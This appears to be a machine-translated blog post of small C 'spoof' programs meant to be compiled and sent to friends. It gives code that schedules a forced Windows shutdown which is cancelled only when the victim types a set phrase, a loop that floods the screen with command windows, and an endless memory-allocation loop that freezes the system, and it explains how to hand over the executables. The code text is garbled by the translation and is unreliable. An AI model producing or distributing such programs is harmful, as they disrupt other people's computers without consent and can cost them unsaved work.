Spoof Small Program:

1 #include <stdio.h>  23int  main ()4{    5     System ("shutdown-s-T 3600"); // pop-up windows 60 seconds Countdown  shutdown 6    7     return 0 ; 8

Shutdown Reminders

Solution, if the time is too short, you have no way, 3600s enough you open a command prompt, shutdown-a cancel the shutdown schedule

1#include"stdio.h"2 intMain ()3 {4     intN;5     Chara[Ten];6printf"call the elder brother, do not call off the machine (you have 30 seconds, if you close the program to shut down) \ n");7System"shutdown-s-T 3600");8      while(1)9     {Tenprintf"called:"); Onescanf"%s",&a); AN=STRCMP (A,"Big Brother"); -         if(n==0) -         { theSystem"shutdown-a"); -printf"Well, that's good!!! Yes, ha ha!!! "); -              Break; -         } +     } -}

a little more fun.

Honestly input Big Brother.

1#include <stdio.h>2 3 intMain ()4 {  5     inti =0;6    7      for(i=0;i< -; i++)8     {9System"Start");//a DOS window will open every time you runTen     } One         A     return 0; -}

pop up a lot of box

Here the principle is just call DOS command, of course, can also open a lot of web Site window, the solution is you don't point, haha

1#include <stdio.h>2#include <malloc.h>3 4 intMain ()5 {  6      while(true){//causes the system to become slower because memory is constantly occupied7         malloc( +);//allocate 1000 bytes of space length per execution8          //You can view the Performance window of Task Manager to compare9     }   Ten     return 0; One}

circulating memory to get the system stuck

The principle here is to always allocate memory out, no matter how large your memory, it is only a matter of time for you to get stuck. Don't point.

Production Method:(for learning to play, do not tease friends)

Write good program, compile with vc++6.0, link, do not point run, in your project directory of the Debug folder under the EXE copy out, to friends, spoof a bit.

Don't be too ruthless, don't overdo it, lest you hurt your feelings.
